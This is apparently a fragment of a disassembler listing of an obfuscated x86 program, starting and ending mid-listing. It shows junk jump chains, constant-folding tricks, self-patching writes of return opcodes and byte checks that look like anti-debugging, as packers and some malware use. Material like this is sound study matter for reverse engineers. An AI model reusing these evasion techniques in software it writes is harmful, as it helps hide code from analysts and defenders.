; FUNCTION CHUNK AT 0044CC4D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044EF58 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044F029 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044F602 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450C27 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004510C1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00451C43 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00453B0C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00453FC0 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00454C25 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004560E8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00456228 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0045632E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00456DC7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00457A57 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00458095 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00458E65 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045A49D SIZE 00000017 BYTES

		xchg	edx, [esp-4+arg_0]
		pop	edx
		push	ecx
		mov	esp, ebp
		xchg	edi, [esp-4+arg_0]
		mov	ebp, edi
		pop	edi
		mov	eax, ds:dword_43EE40
		jmp	loc_45433A
; ---------------------------------------------------------------------------

loc_45427F:				; CODE XREF: sub_4557A6-9643j
		jno	loc_43A14F
		push	edi

loc_454286:				; CODE XREF: sub_4557A6:loc_442A74j
		call	sub_44D2A8
		push	0F0D4D1CFh
		jmp	loc_456DC7
; ---------------------------------------------------------------------------

loc_454295:				; CODE XREF: sub_4556AE:loc_4565BDj
		sub	edi, ecx
		jg	sub_454465

loc_45429D:				; CODE XREF: sub_4556AE:loc_43EE66j
		push	96897836h
		pop	eax
		jmp	loc_4456EC
; ---------------------------------------------------------------------------

loc_4542A8:				; CODE XREF: sub_453BCF:loc_44B9C4j
		cmp	ebp, 0F3A59C93h
		jmp	loc_45A49D
; ---------------------------------------------------------------------------

loc_4542B3:				; CODE XREF: sub_43E6B4+Dj
		or	eax, edx
		mov	[ebp-1Ch], eax

loc_4542B8:				; CODE XREF: sub_452047-1826Fj
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		jmp	loc_4461F9
; ---------------------------------------------------------------------------

loc_4542C3:				; CODE XREF: sub_43B660+320Ej
		call	sub_45327C
		mov	eax, 0D372DA5Dh
		push	ebx
		push	0A6BF1F44h
		pop	ebx
		sub	ebx, 0B018F3E3h
		jmp	loc_444B99
; ---------------------------------------------------------------------------
		cmp	ebx, 68707C87h
		jmp	loc_44EF58
; ---------------------------------------------------------------------------

loc_4542EA:				; CODE XREF: sub_43FDFB+125A1j
		add	ecx, esi

loc_4542EC:				; CODE XREF: sub_43FDFB:loc_455927j
		call	sub_4424D8

loc_4542F1:				; CODE XREF: sub_43FAE1+6AD6j
		jmp	nullsub_188
; ---------------------------------------------------------------------------

loc_4542F6:				; DATA XREF: dviuq5id:0045686Co
		add	ebx, 8B9062Fh
		popf
		xchg	ebx, [esp+0]
		jmp	loc_44B17B
; ---------------------------------------------------------------------------
		xor	ebx, 1C4F60C2h
		pop	edi
		jmp	sub_4497C3
; ---------------------------------------------------------------------------
		jg	loc_451BA5
		jmp	sub_450817
; ---------------------------------------------------------------------------

loc_45431C:				; CODE XREF: dviuq5id:004453BFj
		jl	loc_43AD8C

loc_454322:				; CODE XREF: dviuq5id:00443AEFj
		jmp	nullsub_489
; ---------------------------------------------------------------------------
		pushf
		and	edx, ecx
		jmp	loc_43AD8C
; ---------------------------------------------------------------------------

loc_45432F:				; CODE XREF: sub_43ED10+1372Fj
		jnz	loc_442A2B

loc_454335:				; CODE XREF: dviuq5id:00455955j
		jmp	loc_4585EC
; ---------------------------------------------------------------------------

loc_45433A:				; CODE XREF: sub_454267+13j
		jmp	loc_456228
sub_454267	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		cmp	esi, 86A26992h
		jmp	loc_452B9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BFE

loc_45434A:				; CODE XREF: sub_442BFE+4C53j
					; sub_442BFE:loc_4560BFj
		mov	eax, [esp+4+var_4]
		push	ebx

loc_45434E:				; CODE XREF: sub_45753F-11BC9j
		mov	ebx, eax
		xchg	ebx, [esp+0]
		call	sub_43A101
		push	offset loc_445BF3
		jmp	loc_43BAA6
; END OF FUNCTION CHUNK	FOR sub_442BFE

; =============== S U B	R O U T	I N E =======================================



sub_454362	proc near		; DATA XREF: sub_4565C2+Ao

; FUNCTION CHUNK AT 0043D1D7 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		mov	edx, eax
		call	sub_45A04B
		jmp	loc_43D1D7
sub_454362	endp

; ---------------------------------------------------------------------------
		mov	edx, ds:dword_4407F4
		or	edx, edx
		jnz	loc_4441F7
		jmp	loc_43D886
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_454384:				; CODE XREF: sub_43C4B5+1ABEAj
		add	edx, 723989Bh
		sbb	edx, eax
		jmp	sub_4520DC
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp-0Ch], 0
		jz	loc_45926B
		jmp	loc_44088D
; ---------------------------------------------------------------------------

locret_4543A0:				; CODE XREF: dviuq5id:0044638Bj
					; dviuq5id:00457F68j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447EE3

loc_4543A1:				; CODE XREF: sub_447EE3-1DAFj
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_447EE3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_18. PRESS	KEYPAD "+" TO EXPAND]
		db 31h
		dd 0E8000001h, 0FFFE8921h, 0FFA1EEE9h, 0C952E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44250B

loc_4543BA:				; CODE XREF: sub_44250B-4CA7j
		jz	loc_43F144
		jmp	loc_459626
; END OF FUNCTION CHUNK	FOR sub_44250B

; =============== S U B	R O U T	I N E =======================================



sub_4543C5	proc near		; CODE XREF: sub_443C86-44B1p
					; dviuq5id:00457BCDj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043A822 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0043BAA0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043C270 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043F710 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00441475 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00444DAD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444F45 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044641D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004468D6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AE5F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044D9B0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044EDB6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044F807 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045A121 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		cmp	eax, ecx
		xchg	eax, [esp-4+arg_0]
		jmp	loc_44D9B0
sub_4543C5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4543D3	proc near		; CODE XREF: dviuq5id:0043EB89p
					; dviuq5id:00441F93j

; FUNCTION CHUNK AT 004406C3 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		rol	eax, 2
		jmp	loc_4406C3
sub_4543D3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C2F6

loc_4543DF:				; CODE XREF: sub_44C2F6j
		push	524DAE9Eh
		xchg	esi, [esp+4+var_4]
		mov	eax, esi
		jmp	loc_447AB7
; END OF FUNCTION CHUNK	FOR sub_44C2F6

; =============== S U B	R O U T	I N E =======================================



sub_4543EE	proc near		; CODE XREF: sub_441903:loc_43B222p
					; dviuq5id:00443E80j
		xchg	esi, [esp+0]
		pop	esi
		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp+0]
		push	eax
		mov	eax, edx
		jmp	loc_439075
sub_4543EE	endp

; ---------------------------------------------------------------------------
		add	esi, 9C09F410h
		sub	ecx, 4B865159h
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_45440C:				; CODE XREF: sub_4525D0:loc_453A12j
		jmp	sub_43CDD1
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CF18

loc_454411:				; CODE XREF: sub_44CF18-2205j
		or	ecx, 9BFD60E7h

loc_454417:				; CODE XREF: sub_44CF18-220Ej
		add	esi, 7884BBCBh
		xchg	esi, [esp+4+var_4]
		jmp	loc_44CA3F
; END OF FUNCTION CHUNK	FOR sub_44CF18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45753F

loc_454425:				; CODE XREF: sub_45753F-1A656j
		jge	loc_4547B1

loc_45442B:				; CODE XREF: sub_45753F:loc_44596Aj
		add	eax, 95F9C944h
		cmp	ebx, eax

loc_454433:				; CODE XREF: sub_44460F:loc_43BE10j
		pop	eax
		jmp	loc_451CAF
; END OF FUNCTION CHUNK	FOR sub_45753F
; ---------------------------------------------------------------------------
		popf
		jmp	sub_443222
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4582AD

loc_45443F:				; CODE XREF: sub_4582AD-A1F8j
		add	ebx, esi
		popf

loc_454442:				; CODE XREF: sub_4582AD:loc_43E24Fj
		push	20D5934Ah
		pop	eax
		jmp	loc_458740
; END OF FUNCTION CHUNK	FOR sub_4582AD

; =============== S U B	R O U T	I N E =======================================



sub_45444D	proc near		; DATA XREF: dviuq5id:0043E387o
		add	eax, 7A4B603Dh
		add	eax, ebp
		add	eax, 0D57F5FBFh
		mov	eax, [eax]
sub_45444D	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_45445D:				; CODE XREF: sub_43EB11:loc_448D09j
		cmp	byte ptr [eax],	0F1h
		jmp	loc_4531E4
; END OF FUNCTION CHUNK	FOR sub_43EB11

; =============== S U B	R O U T	I N E =======================================



sub_454465	proc near		; CODE XREF: sub_454267+30j

; FUNCTION CHUNK AT 0043D34A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004442C0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004478C4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044F77C SIZE 0000000B BYTES

		push	ebx
		push	989E4F02h
		pop	ebx
		sub	ebx, ds:4000F6h
		rol	ebx, 1Bh
		jmp	loc_44F77C
sub_454465	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446465

loc_45447A:				; CODE XREF: sub_446465-6367j
		jl	loc_440D30

loc_454480:				; CODE XREF: dviuq5id:004576EDj
		jmp	loc_440E4F
; END OF FUNCTION CHUNK	FOR sub_446465
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4585FC

loc_454485:				; CODE XREF: sub_4585FC-B7F4j
		jmp	loc_44D17D
; END OF FUNCTION CHUNK	FOR sub_4585FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450686

loc_45448A:				; CODE XREF: sub_450686-175E3j
		jmp	loc_43DAED
; END OF FUNCTION CHUNK	FOR sub_450686
; ---------------------------------------------------------------------------
		mov	eax, [edi]
		rol	eax, 12h
		jmp	loc_440D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_454499:				; CODE XREF: sub_440898:loc_43C21Ej
		jz	loc_44167D
		jmp	loc_44EF8A
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459804

loc_4544A4:				; CODE XREF: sub_459804:loc_44BA6Cj
		jl	loc_4437C0

loc_4544AA:				; CODE XREF: dviuq5id:0043D4B9j
		jmp	loc_44CF38
; END OF FUNCTION CHUNK	FOR sub_459804
; ---------------------------------------------------------------------------

loc_4544AF:				; CODE XREF: dviuq5id:loc_43E519j
					; dviuq5id:0043E796j
		sub	eax, 33F44493h
		and	eax, 1AF3F46Eh
		or	eax, 4B793F6Bh
		add	eax, 63FA26h
		call	sub_453642
		mov	ds:dword_41D148, eax
; START	OF FUNCTION CHUNK FOR sub_452A73

loc_4544D2:				; CODE XREF: sub_452A73+4C8j
		jmp	loc_458D6B
; END OF FUNCTION CHUNK	FOR sub_452A73
; ---------------------------------------------------------------------------

loc_4544D7:				; CODE XREF: dviuq5id:00450D95j
		and	ecx, esi
		jnp	loc_43D570
; START	OF FUNCTION CHUNK FOR sub_4579D1

loc_4544DF:				; CODE XREF: sub_4579D1:loc_450D75j
		or	edi, 31D908E7h
		add	edi, 0CE66A9FDh
		xchg	edi, [esp+0]
		jmp	loc_43FE56
; END OF FUNCTION CHUNK	FOR sub_4579D1
; ---------------------------------------------------------------------------

loc_4544F3:				; DATA XREF: dviuq5id:00445406o
		mov	eax, [esp]
		call	sub_44E3BA
		retn
; ---------------------------------------------------------------------------
dword_4544FC	dd 0			; DATA XREF: sub_44A15A+6r
					; sub_44A318+1w
; ---------------------------------------------------------------------------

loc_454500:				; CODE XREF: dviuq5id:0044C701j
		jmp	loc_458C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440405

loc_454505:				; CODE XREF: sub_440405-2A89j
		jmp	nullsub_302
; END OF FUNCTION CHUNK	FOR sub_440405

; =============== S U B	R O U T	I N E =======================================



sub_45450A	proc near		; CODE XREF: sub_407AEA+1Dp
					; sub_407B2A+25p ...
		call	sub_454515
		jmp	ds:off_41D0F8
sub_45450A	endp


; =============== S U B	R O U T	I N E =======================================



sub_454515	proc near		; CODE XREF: sub_458ABC:loc_4443EAj
					; dviuq5id:00450477j ...

; FUNCTION CHUNK AT 00448A9A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00456F86 SIZE 00000005 BYTES

		xchg	esi, [esp+0]

loc_454518:				; CODE XREF: sub_43FAE1:loc_443E31j
		jmp	loc_448A9A
sub_454515	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44122E

loc_45451D:				; CODE XREF: sub_44122E:loc_44E143j
					; sub_44122E+11113j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_455BC5
		jmp	loc_4556EB
; END OF FUNCTION CHUNK	FOR sub_44122E
; ---------------------------------------------------------------------------

loc_45452E:				; CODE XREF: dviuq5id:004493ACj
		jl	loc_43F9D6
; START	OF FUNCTION CHUNK FOR sub_440BB8

loc_454534:				; CODE XREF: sub_440BB8+Fj
		jmp	loc_44F831
; END OF FUNCTION CHUNK	FOR sub_440BB8
; ---------------------------------------------------------------------------
		xchg	edx, esi
		jmp	loc_43F9D4
; ---------------------------------------------------------------------------

loc_454540:				; CODE XREF: dviuq5id:0044432Ej
		sbb	esi, 0CD3D559Dh

loc_454546:				; CODE XREF: dviuq5id:loc_44ADEBj
		call	sub_44D2A8
		push	0CEDB49Ch
		pop	edx

loc_454551:				; CODE XREF: dviuq5id:loc_439B0Fj
		rol	edx, 19h
		add	edx, 0B17D1BC5h
		call	sub_449EB7
		jmp	loc_4476BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4404D7

loc_454564:				; CODE XREF: sub_4404D7+12j
		add	ecx, 0DCD0FD81h
		or	ecx, 66DBC039h
		add	ecx, 8064EB11h
		mov	ecx, [ecx]
		movzx	edx, byte ptr [ecx+edx]
		and	eax, edx

loc_45457E:				; CODE XREF: dviuq5id:loc_454750j
		jnz	loc_44F467
		jmp	loc_44B8F9
; END OF FUNCTION CHUNK	FOR sub_4404D7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_506. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_189. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4393C3

loc_45458B:				; CODE XREF: sub_4393C3+1D5E2j
		jmp	loc_4541DB
; END OF FUNCTION CHUNK	FOR sub_4393C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F1D6

loc_454590:				; CODE XREF: sub_43F1D6+1A2FBj
		shr	ebx, 0Bh

loc_454593:				; CODE XREF: sub_43F1D6+1A2EAj
		or	eax, 0F71ED0C5h
		add	eax, 0DB457134h
		add	eax, ebp
		jmp	sub_44A2CC
; END OF FUNCTION CHUNK	FOR sub_43F1D6
; ---------------------------------------------------------------------------
		and	ecx, eax
		mov	ebp, [edx]
		jmp	sub_44F7C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D28E

loc_4545AF:				; CODE XREF: sub_43D28E:loc_45077Bj
		xchg	ecx, [esp+4+var_4]

loc_4545B2:				; CODE XREF: dviuq5id:loc_439F89j
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], eax
		push	2FCE9D25h
		jmp	loc_43C9DF
; END OF FUNCTION CHUNK	FOR sub_43D28E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458F2A

loc_4545C2:				; CODE XREF: sub_458F2A+6j
		pop	edx
		mov	eax, [esp-4+arg_0]
		call	sub_449D2E

loc_4545CB:				; CODE XREF: dviuq5id:0045146Bj
		jmp	loc_453F8A
; END OF FUNCTION CHUNK	FOR sub_458F2A
; ---------------------------------------------------------------------------

loc_4545D0:				; CODE XREF: dviuq5id:loc_44B176j
		mov	eax, 24CC2B1h
		call	sub_453642
		mov	ds:dword_41D194, eax
		lea	eax, nullsub_474
		mov	byte ptr [eax],	0C3h
		jmp	loc_4597E9

; =============== S U B	R O U T	I N E =======================================



sub_4545EE	proc near		; CODE XREF: sub_4031FD+BEp
					; sub_404A3E+D9p ...
		call	sub_44508C
		jmp	ds:off_41D198
sub_4545EE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446C41

loc_4545F9:				; CODE XREF: sub_446C41+Cj
		jmp	loc_442F3B
; END OF FUNCTION CHUNK	FOR sub_446C41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439259

loc_4545FE:				; CODE XREF: sub_439259+Bj
		jmp	nullsub_445
; END OF FUNCTION CHUNK	FOR sub_439259
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_454603:				; CODE XREF: sub_44460F-84CEj
		xor	ebx, edx
		jge	loc_443FDC
		push	0A8ECFD3Ah
		jmp	loc_441503
; ---------------------------------------------------------------------------

loc_454615:				; CODE XREF: sub_44460F+7EC8j
		lea	eax, [ebp-4]
		push	esi
		push	eax
		pop	esi
		xchg	esi, [esp+14h+var_14]
		jmp	loc_44DED6
; END OF FUNCTION CHUNK	FOR sub_44460F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450686

loc_454623:				; CODE XREF: sub_450686-8FF3j
		jnz	loc_457EBD
		mov	ecx, [edi]

loc_45462B:				; CODE XREF: sub_450686:loc_43FA97j
		mov	eax, [ebp-4]
		push	offset sub_458712
		jmp	nullsub_195
; END OF FUNCTION CHUNK	FOR sub_450686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_454638:				; CODE XREF: sub_4525D0+6560j
		jge	loc_4597FD
		pushf
		jmp	loc_455A9A
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44864B

loc_454644:				; CODE XREF: sub_44864B-DB4Bj
					; sub_44864B-B9ECj ...
		jmp	locret_458D0B
; END OF FUNCTION CHUNK	FOR sub_44864B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E87

loc_454649:				; CODE XREF: sub_44864B-3D1Aj
					; sub_439E87+1F52Fj
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		mov	ebp, eax
		pop	eax
		jmp	nullsub_323
; END OF FUNCTION CHUNK	FOR sub_439E87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_454655:				; CODE XREF: sub_440898:loc_4443F4j
		pop	eax
		xor	eax, 27F5F64Fh
		or	eax, 75A87327h
		add	eax, 2049B573h
		add	eax, ebp
		add	eax, 6A0BCF62h
		mov	eax, [eax]
		jmp	sub_4503F7
; END OF FUNCTION CHUNK	FOR sub_440898

; =============== S U B	R O U T	I N E =======================================



sub_454677	proc near		; DATA XREF: dviuq5id:0043FFB2o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00444C15 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00456CC6 SIZE 00000014 BYTES

		push	0B5B98DECh
		xchg	eax, [esp+4+var_4]
		mov	edi, eax
		pop	eax
		jmp	loc_444C15
sub_454677	endp

; ---------------------------------------------------------------------------

loc_454687:				; CODE XREF: dviuq5id:0045384Fj
		jo	sub_456F1D
		ror	ebp, 1Ch
		test	esi, ebp
		jmp	loc_43FC37
; ---------------------------------------------------------------------------
		mov	ds:off_41D048, eax
		lea	eax, loc_455306
		mov	byte ptr [eax],	0C3h
		jmp	loc_455306
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_4546AB:				; CODE XREF: sub_43FA59+19ADDj
		xor	eax, 0F176C886h
		rol	eax, 1Eh
		mov	ds:dword_449214, eax

loc_4546BA:				; CODE XREF: sub_43BDC3+6j
					; dviuq5id:0045038Fj
		js	loc_4508B4
		ror	eax, 1Eh
		xor	eax, 0F176C886h
		push	ecx
		push	0B4838AB4h

loc_4546CF:				; CODE XREF: dviuq5id:0044FE48j
		jmp	loc_44B926
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
		shl	esi, 1Ah
		jle	loc_44F3D0
		jmp	sub_44267B
; ---------------------------------------------------------------------------

loc_4546E2:				; CODE XREF: dviuq5id:loc_4506D8j
		push	edx
		push	ecx
		push	44F13AAAh
		pop	ecx
		jmp	loc_442072
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_4546EF:				; CODE XREF: sub_43C710:loc_440B37j
					; sub_44EAC4:loc_442B94j
		jnz	loc_453DE9

loc_4546F5:				; CODE XREF: sub_441F76+C630j
		jmp	loc_4445D8
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F9BC

loc_4546FA:				; CODE XREF: sub_43F9BC-4CEBj
		jmp	nullsub_196
; END OF FUNCTION CHUNK	FOR sub_43F9BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A2CC

loc_4546FF:				; CODE XREF: sub_44A2CC-F89Cj
		jmp	loc_447CE2
; END OF FUNCTION CHUNK	FOR sub_44A2CC
; ---------------------------------------------------------------------------
		xchg	ebp, [ebx]
		xor	edi, eax
		and	edi, 48EF49A7h
		jmp	loc_453DE7
; ---------------------------------------------------------------------------

loc_454713:				; DATA XREF: sub_44F7C9+6o
		push	0FB6FE717h
		pop	eax
		add	eax, 24DC2DACh
		sub	eax, 769C1DADh
		add	eax, 5695981Fh
		xchg	eax, [esp]
		jmp	sub_44FD8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_454733:				; CODE XREF: sub_440898+D883j
		shl	eax, 0Ah
		jz	loc_443275

loc_45473C:				; CODE XREF: sub_439013:loc_43EDB8j
		mov	eax, [ebp-4]
		mov	eax, [eax]
		and	eax, 0FFFFFFh
		cmp	eax, 0C3C033h
		jmp	loc_4555DC
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------

loc_454750:				; CODE XREF: dviuq5id:0044602Bj
		jbe	loc_45457E
		jl	loc_442D3A
		jmp	sub_44A765
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A160

loc_454761:				; CODE XREF: sub_43A160+A351j
		cmp	eax, 0E2A899B7h
		jmp	loc_4401E0
; END OF FUNCTION CHUNK	FOR sub_43A160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_45476C:				; CODE XREF: sub_43EB11:loc_441119j
					; sub_43C4B5:loc_44D762j
		jnz	loc_448CFE
		sbb	edx, eax
		popf
		jmp	loc_43F7B1
; END OF FUNCTION CHUNK	FOR sub_43EB11
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_99. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_45477B:				; CODE XREF: sub_44460F+3ECj
		jge	loc_446957
		jmp	loc_43BE10
; END OF FUNCTION CHUNK	FOR sub_44460F
; ---------------------------------------------------------------------------
		push	135ED4h
		pop	eax
		sub	eax, 20ADB1Fh
		add	eax, 2742A7B5h
		add	eax, ebp
		jmp	loc_43B54D
; ---------------------------------------------------------------------------

loc_45479F:				; CODE XREF: dviuq5id:0044E59Aj
		push	3443F31Fh
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_4547A4:				; CODE XREF: sub_441DDA+C7B3j
		rol	ecx, 1
		call	sub_447A8A
; END OF FUNCTION CHUNK	FOR sub_441DDA
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_4547AB:				; CODE XREF: sub_44646F+216Cj
		jmp	loc_4443C1
; END OF FUNCTION CHUNK	FOR sub_44646F
; ---------------------------------------------------------------------------

loc_4547B0:				; CODE XREF: dviuq5id:00440CA9j
		push	esi
; START	OF FUNCTION CHUNK FOR sub_45753F

loc_4547B1:				; CODE XREF: sub_45753F:loc_454425j
		not	edi
		xchg	edi, eax
		shr	ebx, 11h
; END OF FUNCTION CHUNK	FOR sub_45753F
; START	OF FUNCTION CHUNK FOR sub_44E2D4

loc_4547B8:				; CODE XREF: sub_44E2D4:loc_440C93j
		or	eax, 770D1E68h
		jmp	loc_44E4A6
; END OF FUNCTION CHUNK	FOR sub_44E2D4
; ---------------------------------------------------------------------------

loc_4547C3:				; DATA XREF: sub_43DB63+1o
		jb	loc_441877
		mov	eax, [esp]
		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp]
		jmp	loc_44E3F1
; ---------------------------------------------------------------------------

loc_4547D7:				; DATA XREF: sub_43BE30+Fo
		sub	eax, [ebp-4]
		mov	[ebp-4], eax
		jmp	loc_456DE5

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4547E2	proc near		; CODE XREF: sub_44AD42-F929p
					; sub_448830+7p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043A3B5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B916 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C568 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0043E0CA SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0043EFEE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442337 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044871C SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00448B05 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D017 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044FE53 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0045229F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00452F00 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00459644 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		jmp	loc_43C568
sub_4547E2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4547F0	proc near		; DATA XREF: sub_440ACE:loc_43C3B7o

; FUNCTION CHUNK AT 00445C5E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004487D3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044EE07 SIZE 0000000A BYTES

		and	al, 7
		mov	[ebp-0Bh], al
		xor	eax, eax
		mov	al, [ebp-0Bh]
		jmp	loc_445C5E
sub_4547F0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452470

loc_4547FF:				; CODE XREF: sub_452470:loc_44805Fj
		push	offset sub_44AAF7
		jmp	loc_43E74A
; END OF FUNCTION CHUNK	FOR sub_452470
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4A4

loc_454809:				; CODE XREF: sub_43E4A4:loc_43E52Ej
		push	eax
		push	esi
		push	offset loc_45549D
		jmp	nullsub_200
; END OF FUNCTION CHUNK	FOR sub_43E4A4
; ---------------------------------------------------------------------------
		shl	esi, 1Bh
		cmp	edx, 8B574B64h
		jmp	loc_458439
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4575D9

loc_454823:				; CODE XREF: sub_4575D9-BEDCj
		and	eax, 947C3DBFh
		call	sub_4496F1
; END OF FUNCTION CHUNK	FOR sub_4575D9
; START	OF FUNCTION CHUNK FOR sub_449222

loc_45482E:				; CODE XREF: sub_449222+703Bj
		jmp	loc_4481A4
; END OF FUNCTION CHUNK	FOR sub_449222
